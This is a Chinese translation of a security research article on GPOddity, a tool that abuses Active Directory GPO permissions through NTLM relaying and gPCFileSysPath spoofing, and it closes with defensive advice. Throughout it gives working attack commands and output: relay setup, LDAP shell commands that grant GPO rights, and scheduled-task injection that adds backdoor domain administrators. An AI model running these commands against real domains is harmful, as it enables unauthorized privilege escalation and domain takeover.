翻译自 https://www.synacktiv.com/en/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more# 译者学了一卡车东西
在针对AD域的渗透测试过程中,我们遇到了一种可以通过中间人攻击的方式对组策略(GPO)中的用户身份验证数据进行恶意写入的情况。并且由于AD域中GPO传输的特殊性,现有工具无法对NTLM进行中间人攻击。然而我们发现了一个针对NTLM的中间人攻击方式,并且给出了一个自动化的攻击工具(GPOddity)。这是一种新的Windows横向提权思路,并且这样的攻击在AD域默认配置的情况下就可以成功进行。
gPCFileSysPath
属性欺骗GPO组策略是在任何AD域攻击中的高价值目标。事实上,只要成功攻击组策略,攻击者就可以接管任何链接到组策略的用户和计算机,从而获得高权限以及横向移动的机会。此外,如果被攻击的GPO链接到域上的管理员账户或者域控制器,这将代表着整个域的失陷。
传统的组策略攻击策略需要完全控制一个对目标GPO具有写权限的用户(这表示攻击者知道该用户的密码或者NT哈希) ,这一要求大大限制了GPO攻击的可行性,并将此类攻击方式的实施特性限制在特定的、经过身份验证的边缘情况。
但是,如果攻击者对GPO的写入权限可以通过NTLM中间人攻击,攻击者不需要知道用户的密码就可以在域中执行特定的操作,他们只需要将自己置于目标域的中间人位置,可以通过各种手段纵向进入AD域。因此,中间人攻击可以在没有身份权限的情况下滥用中继用户的GPO ACL来提升权限,从而扩展这个攻击方向的泛用性。请注意,本文将不会深入讲解NTLM中继的细节,如果你不熟悉这个概念,可以参考这篇文章。
稍后我们将阐述现有工具由于GPO在AD域中的特殊性而无法进行中继利用的原因。本文的目的是描述一种适用于NTLM中间人场景的针对GPO的攻击思路,同时还展示了该方法在攻击场景中的隐匿与安全性。
以下名为GPOddity的工具是一个自动化攻击工具,他将在自动攻击流程中使用:https://github.com/synacktiv/GPOddity
请注意,GPOddity的很多特性是基于pyGPOAbuse,即SharpGPOAbuse所实现的。
如果您已经熟悉组策略的概念及其在AD域中组策略容器和组策略模板的相关内容,请直接跳过本节。我们接下来需要讨论这些概念,因为这对理解本文的其余内容很重要。
GPO是AD域(Microsoft Active Directory
)中一个设置与配置的合集,他定期通过网络对域中的一些用户和计算机进行配置。这些配置用于控制域中设备和应用的各个方面,包含安全策略、软件安装等。因此,GPO的实现需要分为两个部分:组策略容器(GPO)与组策略模板(GPT)。
组策略容器是一个LDAP对象,这个对象包含GPO本身、GPO的配置以及域中用户的相关权限配置,其中GPC的标识符包含一个可以用于识别GPO的GUID,其样式如下:
CN={46993522-7D77-4B59-9B77-F82082DE9D81},CN=Policies,CN=System,DC=corp,DC=com
这个LDAP对象只包含了GPO的一般配置,例如名称和描述,并不包含GPO的内容,也就是不包含所需发布给计算机或用户的应用设置与配置的详细信息。这些内容被包含在组策略模板(GPT)中,它只是一个存在于域控制器的SYSVOL
权限的SMB共享中的一个文件夹。当用户或计算机需要应用GPO时,它将通过获取这个SMB文件夹中的文件进行实现。这个文件夹具有以下的一个格式路径,它引用了GPO的GUID:
\\dc.corp.com\`SYSVOL`\corp.com\Policies\{46993522-7D77-4B59-9B77-F82082DE9D81}
在默认情况下,组策略对象每90分钟配置一次计算机和用户,每5分钟配置一次域控制器。
为了说明本文的各种概念和攻击方式,本文设置了一个非常简单的AD域实例,相关细节如下:
192.168.58.100
(Windows)192.168.58.102
(Windows)192.168.58.101
(Linux)SRV_ANY_HARDENING_POLICY
的组策略对象,模拟在所有域计算机中的GPO,对域内计算机进行配置。它还链接到名为Domain Controllers的组织单位,这意味着它适用于DC.corp.com域控制器。SRV_ANY_HARDENING_POLICY
组策略对象
SRV_ANY_HARDENING_POLICY
组策略对象具有写权限(包括WriteDACL或GenericWrite权限)。这可能是由于嵌套组成员身份导致的配置错误所导致的,可以通过BloodHound来查询above用户的对象控制权限。Adove
用户对SRV_ANY_HARDENING_POLICY
GPO的权限
为了更好地理解攻击方式及其原理,我们首先必须充分了解现有GPO利用工具的利用载体及其局限性。
到目前为止,常见的GPO攻击利用需要拥有可以编辑权限的账户才能造成危害,达到接管GPO链接对象的目的。详细来说,传统的攻击方法就是修改现有GPO,并像它添加了恶意的新即时任务。组策略可以自定义即时任务,即时任务不一定是配置命令,也可以是cmd或者powershell的命令行,当目标被套用配置GPO的时候,目标会立即执行这些命令。
为了方便进行下一步的演示,假设我们要在corp.com域控制器中部署一个名为GpoImmediateTask的GPO,这个GPO用于实现一个以NT AUTHORITY\SYSTEM
身份权限执行的即时任务,并且将whoami的输出写入到链接该GPO的任何计算机上的C:\gpo_immediate_task
文件中。可以在组策略编辑器中增加这样的一个GPO实例。
创建一个即时任务
即时任务的配置内容
通过以上操作,我们成功配置了一个包含即时任务的GPO,将这个GPO链接到Domain Controller组织单位,以便将其应用于域控制器。此时,我们可以选择等待5分钟的自动刷新,也可以使用gpupdate命令进行强制刷新。无论采用哪种方式,任务都由域控制器执行,并且文件会在文件系统上创建,以下命令演示了NT AUTHORITY\SYSTEM
用户执行命令的过程。
C:\> hostname DC C:\> dir Volume in drive C has no label. Volume Serial Number is BCEF-5E9D Directory of C:\ 08/09/2023 01:03 PM <DIR> inetpub 11/05/2022 12:03 PM <DIR> PerfLogs 08/09/2023 01:03 PM <DIR> Program Files 08/09/2023 01:03 PM <DIR> Program Files (x86) 08/13/2023 04:45 AM <DIR> Temp 08/09/2023 01:01 PM <DIR> Users 08/09/2023 01:03 PM <DIR> Windows 0 File(s) 0 bytes 7 Dir(s) 39,906,672,640 bytes free C:\> gpupdate Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully. C:\> dir Volume in drive C has no label. Volume Serial Number is BCEF-5E9D Directory of C:\ 08/13/2023 05:40 AM 21 gpo_immediate_task 08/09/2023 01:03 PM <DIR> inetpub 11/05/2022 12:03 PM <DIR> PerfLogs 08/09/2023 01:03 PM <DIR> Program Files 08/09/2023 01:03 PM <DIR> Program Files (x86) 08/13/2023 04:45 AM <DIR> Temp 08/09/2023 01:01 PM <DIR> Users 08/09/2023 01:03 PM <DIR> Windows 1 File(s) 21 bytes 7 Dir(s) 39,905,423,360 bytes free C:\> type gpo_immediate_task nt authority\system
从攻击者的角度来看,这样可以执行即时任务的GPO是最佳攻击点,通过恶意注入修改GPO内容,攻击者可以在所有链接到GPO的对象上执行具有管理员权限的任意命令。
这是现有的常见GPO攻击工具的利用点,例如:
让我们尝试使用pyGPOAbuse
攻击我们的corp.com,通过这个工具攻击adove用户GPO ACL需要完全渗入adove账户,就是知道这个账户的密码或者NT哈希。这是一个必要的要素,但假设我们的情况就是这样,adove账户的密码以某种方式泄露了。
在这种情况下,攻击者尝试运行pyGPOAbuse来利用adove对SRV_ANY_HARDENING_POLICY
GPO的权限,并且注入恶意的即时任务,这个任务会在域控制器下次应用GPO时将synacktiv_pygpoabuse
域管理员(密码Password123!
)添加到域中,其GUID为46993522-7D77-4B59-9B77-F82082DE9D81
,以下为pyGPOAbuse
命令:
$ python3 pygpoabuse.py 'corp.com/adove:Password1' -gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' -command 'net user synacktiv_pygpoabuse Password123! /add && net localgroup administrators synacktiv_pygpoabuse /add' -v INFO:root:Version updated [*] Version updated SUCCESS:root:ScheduledTask TASK_d2b5321d created! [+] ScheduledTask TASK_d2b5321d created!
然后等待5分钟GPO应用到域控制器,然后检查是否已通过即时任务成功添加管理员
$ crackmapexec smb dc.corp.com -u 'synacktiv_pygpoabuse' -p 'Password123!' SMB 192.168.57.10 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:corp.com) (signing:True) (SMBv1:False) SMB 192.168.57.10 445 DC [+] corp.com\synacktiv_pygpoabuse:Password123! (admin)
攻击顺利地进行了,攻击者通过未经授权的GPO ACL有效地将他们的权限从标准用户adove提升到域管理员权限。实际上,这是通过LDAP修改组策略容器,通过SMB修改组策略模板来达成的:
(gPCMachineExtensionNames
或者gPCUserExtensionNames
)。总结来说,机器扩展名是允许组策略客户端扩展运行包括计划/即时任务在内的额外GPO功能的必须要素,有关计算机扩展名的详细信息,可以查看这篇Microsoft文章;有关可用计算机扩展名的列表,可以查看这里。SYSVOL
文件夹的实际文件来恶意注入即时任务,更具体地来说,通过修改ScheduledTasks.xml
文件来进行恶意篡改。总的来说,传统的GPO攻击工具在上述条件下可以完美地运行。然而,它们存在一些限制,其中之一是他们不适合NTLM中继的场景。
当上一节的环境改变至本文默认的环境中,我们不知道adove账户的身份认证信息,却又存在于一个可以进行NTLM中继篡改攻击LDAP服务器的场景中,此处LDAP通道绑定和LDAP签名认证在AD域服务中是默认禁用的,详见这篇文章。此时,攻击者在目标网络的中间人位置上,通过几个现有的工具支持在AD域中完成攻击:
关于这些工具的使用超出了本文的讨论范围,有很多关于这些工具的教程可以被找到,此处不再进行赘述。一旦攻击者出于中间人的位置,就可以使用ntlmrelayx
进行攻击,将adove用户的身份验证数据中继到攻击者的LDAP服务器上,以便使用adove用户的权限进行LDAP查询。下面的实例使用-wh标识符来实现WPAD攻击并触发HTTP身份认证,此处就成功中继了LDAP。
$ ntlmrelayx -t 'ldaps://192.168.58.100' -wh '192.168.58.101:8080' --http-port '80,8080' -i [...] [*] Servers started, waiting for connections [*] HTTPD(80): Client requested path: / [*] HTTPD(80): Client requested path: / [*] HTTPD(80): Connection from 192.168.58.101 controlled, attacking target ldaps://192.168.58.100 [*] HTTPD(80): Client requested path: / [*] HTTPD(80): Authenticating against ldaps://192.168.58.100 as /ADOVE SUCCEED [*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 [*] HTTPD(80): Client requested path: /favicon.ico
通过前面的-i命令,攻击者在攻击设备的11000端口上开放了一个LDAP交互shell,允许以adove用户身份运行任意LDAP命令。这个shell还提供了一些内置命令,可以使用help查看。
$ nc 127.0.0.1 11000 # help add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS. [...] write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. exit - Terminates this session.
从这里开始,最初没有任何权限的攻击者已经通过创建一个机器账号的方式拥有了AD域身份权限。这是一个AD域中的默认配置,通过这个配置允许任何用户在一个域中创建最多10个计算机账户。让我们假设攻击者使用LDAP Shell命令add_computer
命令创建了一个ATTACKER$的计算机账户。
# add_computer ATTACKER qTN8lugSL0yVKr0igdmSBtU1 Attempting to add a new computer with the name: ATTACKER$ Inferred Domain DN: DC=corp,DC=com Inferred Domain Name: corp.com New Computer DN: CN=ATTACKER,CN=Computers,DC=corp,DC=com Adding new computer with username: ATTACKER$ and password: qTN8lugSL0yVKr0igdmSBtU1 result: OK
在后续情况中,攻击者不再是一个没有任何域权限的用户,使用已有的身份认证对域内权限进行枚举,发现adove用户对域控制器的组策略SRV_ANY_HARDENING_POLICY
具有较高的权限。并且adove用户是攻击者正在中继的用户,这允许攻击者使用LDAP Shell对敏感GPO ACL进行 下一步操作。实际上,攻击者很可能已经枚举中继了其他域用户,以便找到特定用户对GPO ACL进行修改。
此时,攻击者的情况与上一节的情况类似,但本节是从一个未经任何身份认证的用户开始,攻击者不知道adove用户的密码或者NT哈希,他们只是中继了adove的身份验证数据。攻击者可能会有一个较为天真的想法,使用LDAP Shell的writedacl
权限,给他们实际控制的账户(此时是ATTACKER$
),然后继续使用传统的攻击工具,例如pyGPOAbuse
,并篡改GPO并且获得管理员权限 。
接下来,让我们试试看
# write_gpo_dacl ATTACKER$ {46993522-7D77-4B59-9B77-F82082DE9D81} Adding ATTACKER$ to GPO with GUID {46993522-7D77-4B59-9B77-F82082DE9D81} LDAP server claims to have taken the secdescriptor. [...]
现在ATTACKER$机器账户完全控制了SRV_ANY_HARDENING_POLICY
组策略对象,攻击者尝试使用pyGPOAbuse来利用它。
$ python3 pygpoabuse.py 'corp.com/ATTACKER$:qTN8lugSL0yVKr0igdmSBtU1' -gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' -command 'net user synacktiv_ntlmrelay Password123! /add && net localgroup administrators synacktiv_ntlmrelay /add' -v ERROR:root:This user doesn't seem to have the necessary rights [...] Traceback (most recent call last): File "/usr/local/lib/python3.9/dist-packages/impacket/smbconnection.py", line 460, in createFile return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, File "/usr/local/lib/python3.9/dist-packages/impacket/smb3.py", line 1227, in create if ans.isValidAnswer(STATUS_SUCCESS): File "/usr/local/lib/python3.9/dist-packages/impacket/smb3structs.py", line 458, in isValidAnswer raise smb3.SessionError(self['Status'], self) impacket.smb3.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) [...]
在该工具中返回了STATUS_ACCESS_DENIED({Access Denied}
的错误,这个错误在任何传统的NTLM利用工具中都会出现,出现这种情况的原因是我们现有的工具需要进行两个修改才能成功攻击:1. 修改组策略容器的LDAP对象(更改版本和计算机扩展名);2. 修改组策略模板(将遏抑即时任务注入到SYSOL文件夹的文件中)。
但是,当我们以adove账户运行LDAP命令时,也就是使用write_gpo_dacl
代码段时,只修改了组策略容器相关的权限,也就是表示GPOdeLDAP对象。因此 ,进行攻击的账户ATTACKER$
拥有修改组策略容器的相关权限,但无法修改SYSVOL
通过SMB共享的组策略模板。与GPO文件夹关联的SMB权限无法与LDAP权限像匹配,也就造成了STATUS_ACCESS_DENIED
错误。
当域管理员打开组策略控制台并点击SRV_ANY_HARDENING_POLICY
时,会提示LDAP与SMB权限不相符,如果此时管理员点击了弹窗上的OK将权限同步,这个时候ATTACKER$账户就被授权了SYSVOL
中SRV_ANY_HARDENING_POLICY
组策略对象的写入权限,在完成这样的操作后,攻击者将得偿所愿。
管理员显示的LDAP和SMB权限不一致
在这样的一个攻击场景中,攻击者修改他在组策略容器上的权限,然后等待管理员在组策略管理控制台中打开目标GPO,并接受显示的弹窗以同步LDAP和SMB权限,这并不令人满意,原因有以下几点:
在深入研究GPO实现的原理后,我们发现了一种更有效的攻击媒介,通过这种媒介允许NTLM中继利用GPO ACL,而不需要管理员参与的用户交互。
gPCFileSysPath
属性欺骗GPOgPCFileSysPath
正如前文所述,在NTLM中继攻击的方法中,攻击者只能修改组策略容器,并且修改与之关联的LDAP属性。所以下一步是尝试识别并修改组策略容器中的各种属性,并且查找任何可能被利用的属性。组策略中有一个特殊的LDAP属性,被称为gPCFileSysPath
,这个属性的默认值指向域控制器的SYSVOL
,也就是SMB共享中与GPO相关联的文件夹。
组策略容器的gPCFileSysPath
属性
这说明gPCFileSysPath
属性以某种方式指向GPO关联的组策略模板文件的存储位置,其应该指向域控制器上的SYSVOL
文件夹,但如果我们将其修改,使其指向完全不同的位置会发生什么情况呢?令人惊讶的是,GPO应用的所有实际对象都会将GPT的文件提取到这个新的任意主机上,这个主机可以是一个FQDN或者一个IP地址。
为了便于说明,我们已经创建了GpoSpoofedLocation
组策略并且将其与DC组链接。然后将他的gPCFileSysPath
指向修改为192.168.58.102地址,这个地址属于未加入域的攻击者计算机。此时在攻击者设备上使用impacket套件工具构建一个简单的smb服务器,当域控制器尝试应用GpoSpoofedLocation
时,SMB服务器将记录身份验证的请求。
$ smbserver.py -smb2support -debug 'synacktiv' . [...] [*] Config file parsed [*] Incoming connection (192.168.58.100,50438) [*] AUTHENTICATE_MESSAGE (CORP\DC$,DC) [*] User DC\DC$ authenticated successfully [*] DC$::CORP:aaaaaaaaaaaaaaaa:5211fb65e902efea8bacaf88a2d4cbb0:01010000000000008090127431d4d901ee69e108c99e5d130000000001000800460041004b00450003002000460041004b0045002e00700061007300740061002e006c006f00630061006c0002000a005000410053005400410004001600700061007300740061002e006c006f00630061006c00070008008090127431d4d90106000400020000000800300030000000000000000000000000400000dc9379f477931e01ec83b0598e78c596b40e1039550a749b844da76da608d50f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350038002e003100300031000000000000000000 [*] Closing down connection (192.168.58.100,50438) [*] Remaining connections []
在这种情况下,域控制器无法检索到GPO相关联的GPC文件,因为他会拒绝在我们的SMB服务器上执行匿名绑定,具体原因详见附录部分。然而,就此可以尝试证明修改gPCFileSysPath
属性实际上可以指向任意的位置。
值得注意的是,这种行为被微软认为是合法的,符合预期的功能,而不是一种bug。但是,一旦gPCFileSysPath
指向不具有标准GPO路径的域控制器的SYSVOL
文件夹,例如组策略管理器的一些AD域管理工具也无法正常使用。这表明修改gPCFileSysPath
的行为往往处于灰色地带,即使被微软所同意,也不是一个AD域中合法预期的行为。
我们在尝试进行NTLM中继利用GPO ACL漏洞时遇到的问题是缺乏对存储GPT文件的SMB共享的权限。如果仅仅控制GPC LDAP对象,又无法将恶意即时任务注入到域控制器的SYSVOL
中的GPO文件中。如果有可能仅通过操作GPC来改变GPT的位置,并将其定义至攻击者服务器上的SMB服务,那么GPT的问题则变得无关紧要,因为该服务器中的内容是可以被攻击者定义的。
一般来说,攻击的步骤如下:
gPCFileSysPath
属性,以指向攻击者控制的SMB服务器。GPOdditty工具将上述步骤自动化,关于他的使用会在下一部分展示。
请注意,配置存有恶意GPT的SMB服务器并不像看起来那么简单。如上所述,所有获取GPT文件以应用GPO的客户端将拒绝执行匿名与来宾绑定,他们需要SMB身份验证。SMB服务器在验证客户端时不能简单地接受任何用户名和密码,他们需要有效的证书秘钥,详见附录部分。因此GPOddity实现了一个自定义的SMB服务器,该服务器使用NETLOGON协议对传入客户端进行身份验证,并从域控制器枚举有效的签名秘钥。
还应该注意的是,与gPCFileSysPath
属性操作相关的安全风险已经在一些文章中提到,尽管据我们所知,他没有以系统的方式进行分析,并应用到NTLM中继或者在非域设备上尝试利用。
下面将具体到一个利用场景,在该场景中,我们会使用GPOddity实现上一节中所述的攻击,本节末尾提供了一个视频摘要。在这个场景中,攻击者仍然从一个未经身份认证的可中继位置开始,并试图通过利用adove在GPO SRV_ANY_HARDENING_POLICY
上的权限提升到域管理员权限。然后同第三节中所述,攻击者将自己置于一个中间人的位置,以便将adove用户身份验证数据中继到LDAP服务器,并使用ntlmrelayx
打开LDAP Shell。
$ ntlmrelayx -t 'ldaps://192.168.58.100' -wh '192.168.58.101:8080' --http-port '80,8080' -i [...] [*] Servers started, waiting for connections [*] HTTPD(80): Client requested path: / [*] HTTPD(80): Client requested path: / [*] HTTPD(80): Connection from 192.168.58.101 controlled, attacking target ldaps://192.168.58.100 [*] HTTPD(80): Client requested path: / [*] HTTPD(80): Authenticating against ldaps://192.168.58.100 as /ADOVE SUCCEED [*] Started interactive Ldap shell via TCP on 127.0.0.1:11000
通过这个LDAP Shell,我们可以创建一个计算机账户(在这个例子中为GPODDITY$),并给予它与SRV_ANY_HARDENING_POLICY
组策略相关的全部权限。
$ nc 127.0.0.1 11000 Type help for list of commands # add_computer GPODDITY qTN8lugSL0yVKr0igdmSBtU1 Attempting to add a new computer with the name: GPODDITY$ Inferred Domain DN: DC=corp,DC=com Inferred Domain Name: corp.com New Computer DN: CN=GPODDITY,CN=Computers,DC=corp,DC=com Adding new computer with username: GPODDITY$ and password: qTN8lugSL0yVKr0igdmSBtU1 result: OK # write_gpo_dacl GPODDITY$ {46993522-7D77-4B59-9B77-F82082DE9D81} Adding GPODDITY$ to GPO with GUID {46993522-7D77-4B59-9B77-F82082DE9D81} LDAP server claims to have taken the secdescriptor. [...]
此时,运行现有的工具会返回一个错误,这个错误在第四节中所阐述,是由GPODDITY$
帐户在SYSVOL
共享中的合法GPT文件夹上缺乏权限而导致的。然后,让我们运行GPOddity。
帮助菜单中详细介绍了各种命令行参数,总而言之,GPOddity主要需要:
--gpo-id
--domain
--command
,默认情况下为cmd
命令,也可以使用--powershell
来切换到ps命令--rogue-smbserver-ip
--rogue-smbserver-share
,此处当AD域启用UNC加固的时候会有其他特殊的安全要求,例如相互身份认证,这会导致SMB服务器连接失败,详见这篇文章。--username
)和密码(--password
)或哈希(--hash
),此处用户名为GPODDITY$
。请注意,在上述过程中,GPOddity构建了一个SMB服务器,并对传入的客户端执行了NETLOGON身份认证。为此,我们需要AD域上的有效计算机账户。默认情况下,GPOddity将假定具有编辑GPC权限的用户(--username
)也是有效的计算机账户。但是,如果情况并非如此,并且您希望GPOddity实现SMB服务器的功能,则需要使用附加的--machine-name
和--machine-hash
标识符来指定这样的一个有效的计算机账户。
总而言之,以下的命令将实施攻击,并且要求链接到GPO的客户端在部署GPO时添加一个名为synacktiv_gpoddity
的新本地管理员。
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' --password 'qTN8lugSL0yVKr0igdmSBtU1' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' --rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv' === GENERATING MALICIOUS GROUP POLICY TEMPLATE === [*] Downloading the legitimate GPO from SYSVOL [+] Successfully downloaded legitimate GPO from SYSVOL to 'GPT_out' folder [*] Injecting malicious scheduled task into downloaded GPO [+] Successfully injected malicious scheduled task [*] Initiating LDAP connection [+] LDAP bind successful [*] Updating downloaded GPO version number to ensure automatic GPO application [+] Successfully updated downloaded GPO version number === SPOOFING GROUP POLICY TEMPLATE LOCATION THROUGH gPCFileSysPath === [*] Modifying the gPCFileSysPath attribute of the GPC to '\\192.168.58.101\synacktiv' [+] Successfully spoofed GPC gPCFileSysPath attribute [*] Updating the versionNumber attribute of the GPC [+] Successfully updated GPC versionNumber attribute [*] Updating the extensionName attribute of the GPC [+] Successfully updated GPC extensionName attribute === LAUNCHING GPODDITY SMB SERVER AND WAITING FOR GPO REQUESTS === If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO Type CTRL+C when you're done. This will trigger cleaning actions
正如上面工具的输出中所述,GPOddity克隆了合法的GPT,伪造了GPT的位置,现在正在等待GPO客户端链接到它。过了一会(域控制器的部署时间为5分钟),收到来自DC$
计算机的身份验证尝试。GPOddity将通过NETLOGON验证它,并提供恶意GPT文件。
[...] [*] Received an authentication request from CORP\DC$,DC [*] Validating user through netlogon service [+] Successfully authenticated CORP\DC$ through Netlogon [*] Granted access to CORP\DC$,DC [+] CORP\DC$ requested 'gpt.ini' ; ATTACK PROBABLY WORKED FOR THIS HOST !
然后就可以验证域控制器是否执行了GPT文件提供的恶意即时任务 :
$ crackmapexec smb dc.corp.com -u 'synacktiv_gpoddity' -p 'Password123!' SMB 192.168.57.10 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:corp.com) (signing:True) (SMBv1:False) SMB 192.168.57.10 445 DC [+] corp.com\synacktiv_gpoddity:Password123! (admin)
如上述所示,攻击成功,域控制器被诱骗,并且成功地创建了一个新的本地管理员,这意味着一个新的域管理员。
一旦GPO应用到的所有客户端并获取恶意GPT执行恶意的即时任务后(或者你想停止攻击时),按CTRL+C
,GPOddity将在其自身停止后进行后续清除,有效地恢复到先前GPC所在的状态。
[...] [+] CORP\DC$ requested 'gpt.ini' ; ATTACK PROBABLY WORKED FOR THIS HOST ! ^C === Cleaning and restoring previous GPC attribute values === [*] Restoring value of gPCFileSysPath - \\corp.com\SysVol\corp.com\Policies\{46993522-7D77-4B59-9B77-F82082DE9D81} [+] Successfully restored gPCFileSysPath [*] Restoring value of versionNumber - 9 [+] Successfully restored versionNumber [*] Restoring value of gPCMachineExtensionNames - [{00000000-0000-0000-0000-000000000000}{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}][{B087BE9D-ED37-454F-AF9C-04291E351182}{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}] [+] Successfully restored gPCMachineExtensionNames
请注意,如果脚本没有通过CTRL+C
信号正常退出,可以使用--just-clean
命令执行清理操作。
在AD域中,组策略通常与计算机相链接。例如上面所提出的漏洞针对这样的计算机GPO。但是,GPO也可以与用户对象相链接,以便应用特定于用户的设置和配置。
GPOddity可以使用--gpo-type user
命令来应对这个问题。但是出现了另一个问题,当计算机账户检索GPT与应用GPO时,他们直接进行部署,也就是计算机账户仅仅通过SMB与由gPCFileSysPath
属性所指定的主机通信。 但是当涉及到用户对象时,行为与计算机账户不同。首先,应用GPO的用户账户向gPCFileSysPath
主机进行身份验证,以获取gpt.ini
文件。然后,域控制器将打开与同一主机的后续连接,以便检索需要的其他文件。
奇怪的是,域控制器与GPOddity内嵌的SMB服务器执行的第二次连接尝试会系统性地失败,从而阻止GPT文件的检索和GPO的成功应用。深入研究数据包交换后,并没有得到关于这种行为的详细信息或潜在解释。域控制器会在SMB会话设置后直接发出突然的Tree disconnect request
。这会让人想起额外的安全机制,例如UNC加固后的相互身份认证,当域控制器代表GPO链接的用户对象获取设置文件时,将自动实现该机制。然而,这只是个假设。
在这种情况下,即时GPOddity内嵌的SMB服务器无法正常提供GPT文件,但仍有可能在加入域的计算机上托管恶意的GPT文件,以便让Windows处理身份验证。请注意,这会破坏被攻击者的计算机,或者是有一台Windows主机会被攻击者手动加入到域中(可以使用任何账户进行,包括计算机账户) 。
在这种情况下,攻击涉及一些额外的步骤,但仍然可以实现。首先,攻击者将通过--no-smb-server
启动GPOddity,而不运行内嵌的SMB服务器。他们还将指定--gpo-type user
来攻击用户对象,以及使用--rogue-smbserver-ip
和--rogue-smbserver-share
来标志托管GPT文件的加入域的计算机。
为了便于说明,此处介绍最后一个攻击场景,它与上一节中的场景非常相似。唯一的区别是,假设WK01
工作站已被攻击者充分利用,并且具有适用于管理员的GUID 7B36419B-B566-46FA-A7B7-58CA9030A604
的目标用户。因此,以下命令将尝试强制目标用户添加用户名为user_gpo
的新域管理员。
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --no-smb-server --domain 'corp.com' --username 'GPODDITY$' --password 'qTN8lugSL0yVKr0igdmSBtU1' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' --rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv' === GENERATING MALICIOUS GROUP POLICY TEMPLATE === [*] Downloading the legitimate GPO from SYSVOL [+] Successfully downloaded legitimate GPO from SYSVOL to 'GPT_out' folder [*] Injecting malicious scheduled task into downloaded GPO [+] Successfully injected malicious scheduled task [*] Initiating LDAP connection [+] LDAP bind successful [*] Updating downloaded GPO version number to ensure automatic GPO application [+] Successfully updated downloaded GPO version number === SPOOFING GROUP POLICY TEMPLATE LOCATION THROUGH gPCFileSysPath === [*] Modifying the gPCFileSysPath attribute of the GPC to '\\192.168.58.102\synacktiv' [+] Successfully spoofed GPC gPCFileSysPath attribute [*] Updating the versionNumber attribute of the GPC [+] Successfully updated GPC versionNumber attribute [*] Updating the extensionName attribute of the GPC [+] Successfully updated GPC extensionName attribute === WAITING (not launching GPOddity SMB server) === [*] CTRL+C to stop and clean...
与以往相同,GPOddity将克隆合法的GPT,注入一个即时任务,并欺骗GPT的位置。然后,攻击者必须将恶意GPT文件移动到WK01
工作站,并将其托管在名为synacktiv
的SMB共享上,可以通过将文件放入C:\Temp
目录并在WK01
上运行以下PowerShell命令来实现:
PS C:\> New-SmbShare -Name "synacktiv" -Path "C:\Temp"
接下来就是等待目标GPO所链接的用户部署GPO。然后,后者将使用其账户的权限从其登录的任何计算机上执行即时任务,这导致在此攻击情形中成功添加了攻击者作为域管理员。
$ crackmapexec smb dc.corp.com -u 'user_gpo' -p 'Password123!' SMB 192.168.57.10 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:corp.com) (signing:True) (SMBv1:False) SMB 192.168.57.10 445 DC [+] corp.com\user_gpo:Password123! (admin)
本文中所介绍的攻击以及GPOddity工具最初都是为NTLM中继场景所考量设计的。然而,这样的攻击思路也可以在标准的、传统的GPO攻击场景中实现,其中最常见的就是GPO ACL篡改,与现有的工具进行的利用相比,这可能有一些优势:
SYSVOL
共享中与目标GPO关联的文件来修改目标GPO。更改GPT文件可能会导致GPO配置中断,这可能会对域产生严重影响,影响大小取决于修改后的GPO情况。相比之下,GPOddity不会对GPT文件执行任何修改。事实上,它通过简单地复制合法的GPO至本地来修改,保持合法GPO的完整性。在执行与组策略对象相关的任何类型的攻击时,我们应该尝试以非必要的GPO为目标,以最大限度地降低风险。从本文中得出的主要结论是,要对被授予组策略写权限的任何用户保持谨慎。只是为此类用户配置强随机密码是不够的,我们刚刚演示了攻击者可以仅通过NTLM中继来篡改GPO ACL。理想情况下,对组策略对象的写入权限应该仅授予具有可靠密码的专用管理账户,这些账户属于Protected User
用户组。实际上,此用户组成员对其账户应用了不可配置的保护策略,包括无法执行NTLM身份认证,这将有效地保护他们免受任何类型的中继攻击。更通俗地讲,我们应该始终在敏感服务(例如LDAP服务器)上实现签名和通道绑定,以完全防止NTLM中继攻击。
如果对GPOddity工具的工作原理感兴趣,更具体地说,是对内嵌式SMB服务器及计算机GPO客户端成功检索GPT文件的条件感兴趣,下一节将详细介绍该漏洞相关的更多技术细节。否则,感谢您的阅读,如果您发现GPOddity的任何错误,可以直接在GitHub上进行contribute。
理解或利用本文中描述的攻击方法不需要了解以下内容。他们纯粹是信息性的,面向对GPOddity相关功能感兴趣的读者。
本节将分为五个部分进行阐述:克隆合法的GPO、注入恶意即时任务、更改GPC与欺骗GPO的位置、在自定义SMB服务器上托管恶意GPT、恢复所有GPC更改进行清理。
我们首先探究内嵌式SMB服务器的实现,这可以说是GPOddity最初的部分,GPO克隆通过标准SMB调用执行,恶意即时任务注入主要基于pyGPOAbuse,ldap3库用于所有GPC的修改。 GPOddity的SMB服务器基于impacket套件的smbserver.py
上,但必须包含几项调整,以允许域计算机检索GPT文件。
骑士,为了托管恶意GPT,最初考虑的最基本解决方案是简单地运行允许访客或匿名访问的SMB服务器。但任何配置的Windows SMB客户端都将默认拒绝访问这样配置的共享,其报错类似于下图:
拒绝链接未经身份验证的SMB服务上的GPT
